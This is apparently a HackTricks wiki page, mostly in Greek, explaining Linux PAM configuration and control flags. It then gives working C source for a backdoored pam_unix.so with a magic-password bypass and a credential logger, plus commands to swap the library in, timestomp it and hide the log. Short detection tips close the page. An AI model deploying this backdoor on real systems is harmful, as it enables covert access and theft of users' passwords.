PAM - Pluggable Authentication Modules
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
PAM (Pluggable Authentication Modules) λειτουργεί ως μηχανισμός ασφαλείας που επαληθεύει την ταυτότητα των χρηστών που προσπαθούν να αποκτήσουν πρόσβαση σε υπηρεσίες υπολογιστή, ελέγχοντας την πρόσβασή τους με βάση διάφορα κριτήρια. Είναι παρόμοιο με έναν ψηφιακό φύλακα, διασφαλίζοντας ότι μόνο οι εξουσιοδοτημένοι χρήστες μπορούν να αλληλεπιδρούν με συγκεκριμένες υπηρεσίες, ενώ ενδεχομένως περιορίζει τη χρήση τους για να αποτρέψει υπερφορτώσεις του συστήματος.
Configuration Files
- Τα συστήματα Solaris και UNIX συνήθως χρησιμοποιούν ένα κεντρικό αρχείο ρύθμισης που βρίσκεται στο
/etc/pam.conf
. - Τα συστήματα Linux προτιμούν μια προσέγγιση καταλόγου, αποθηκεύοντας ρυθμίσεις συγκεκριμένων υπηρεσιών μέσα στο
/etc/pam.d
. Για παράδειγμα, το αρχείο ρύθμισης για την υπηρεσία σύνδεσης βρίσκεται στο/etc/pam.d/login
.
Ένα παράδειγμα ρύθμισης PAM για την υπηρεσία σύνδεσης μπορεί να μοιάζει με αυτό:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
Διαχείριση Πεδίων PAM
Αυτά τα πεδία, ή ομάδες διαχείρισης, περιλαμβάνουν auth, account, password, και session, καθένα υπεύθυνο για διαφορετικές πτυχές της διαδικασίας αυθεντικοποίησης και διαχείρισης συνεδριών:
- Auth: Επικυρώνει την ταυτότητα του χρήστη, συχνά ζητώντας έναν κωδικό πρόσβασης.
- Account: Διαχειρίζεται την επαλήθευση λογαριασμού, ελέγχοντας συνθήκες όπως η συμμετοχή σε ομάδες ή περιορισμοί ώρας.
- Password: Διαχειρίζεται τις ενημερώσεις κωδικών πρόσβασης, συμπεριλαμβανομένων ελέγχων πολυπλοκότητας ή πρόληψης επιθέσεων λεξικού.
- Session: Διαχειρίζεται ενέργειες κατά την έναρξη ή το τέλος μιας συνεδρίας υπηρεσίας, όπως η τοποθέτηση καταλόγων ή η ρύθμιση ορίων πόρων.
Έλεγχοι Μονάδας PAM
Οι έλεγχοι καθορίζουν την αντίδραση της μονάδας σε επιτυχία ή αποτυχία, επηρεάζοντας τη συνολική διαδικασία αυθεντικοποίησης. Αυτοί περιλαμβάνουν:
- Required: Η αποτυχία μιας απαιτούμενης μονάδας οδηγεί σε τελική αποτυχία, αλλά μόνο μετά την εξέταση όλων των επόμενων μονάδων.
- Requisite: Άμεσος τερματισμός της διαδικασίας σε περίπτωση αποτυχίας.
- Sufficient: Η επιτυχία παρακάμπτει τους υπόλοιπους ελέγχους της ίδιας περιοχής εκτός αν αποτύχει μια επόμενη μονάδα.
- Optional: Προκαλεί αποτυχία μόνο αν είναι η μοναδική μονάδα στη στοίβα.
Παράδειγμα Σενάριο
Σε μια ρύθμιση με πολλαπλές μονάδες αυθεντικοποίησης, η διαδικασία ακολουθεί μια αυστηρή σειρά. Αν η μονάδα pam_securetty
βρει τον τερματικό σύνδεσης μη εξουσιοδοτημένο, οι συνδέσεις root αποκλείονται, ωστόσο όλες οι μονάδες εξακολουθούν να επεξεργάζονται λόγω της κατάστασης "required". Η pam_env
ρυθμίζει τις μεταβλητές περιβάλλοντος, ενδεχομένως βοηθώντας στην εμπειρία του χρήστη. Οι μονάδες pam_ldap
και pam_unix
συνεργάζονται για να αυθεντικοποιήσουν τον χρήστη, με την pam_unix
να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως παρεχόμενο κωδικό πρόσβασης, ενισχύοντας την αποδοτικότητα και την ευελιξία στις μεθόδους αυθεντικοποίησης.
Backdooring PAM – Hooking pam_unix.so
Ένα κλασικό κόλπο επιμονής σε περιβάλλοντα Linux υψηλής αξίας είναι να ανταλλάξετε τη νόμιμη βιβλιοθήκη PAM με μια τροποποιημένη. Επειδή κάθε σύνδεση SSH / κονσόλας καταλήγει να καλεί pam_unix.so:pam_sm_authenticate()
, μερικές γραμμές C είναι αρκετές για να συλλάβουν διαπιστευτήρια ή να εφαρμόσουν μια μαγική παράκαμψη κωδικού πρόσβασης.
Συγκεντρωτικός Οδηγός Συγκέντρωσης
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
Συγκέντρωση και αθόρυβη αντικατάσταση:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
Συμβουλές OpSec
- Atomic overwrite – γράψτε σε ένα προσωρινό αρχείο και
mv
στη θέση του για να αποφύγετε ημιτελή βιβλιοθήκες που θα κλείσουν το SSH. - Η τοποθέτηση αρχείων καταγραφής όπως το
/usr/bin/.dbus.log
συγχωνεύεται με νόμιμα αρχεία επιφάνειας εργασίας. - Διατηρήστε τις εξαγωγές συμβόλων ίδιες (
pam_sm_setcred
, κ.λπ.) για να αποφύγετε κακή συμπεριφορά του PAM.
Ανίχνευση
- Συγκρίνετε το MD5/SHA256 του
pam_unix.so
με το πακέτο της διανομής. - Ελέγξτε για παγκόσμια εγ writable ή ασυνήθιστη ιδιοκτησία κάτω από το
/lib/security/
. - Κανόνας
auditd
:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.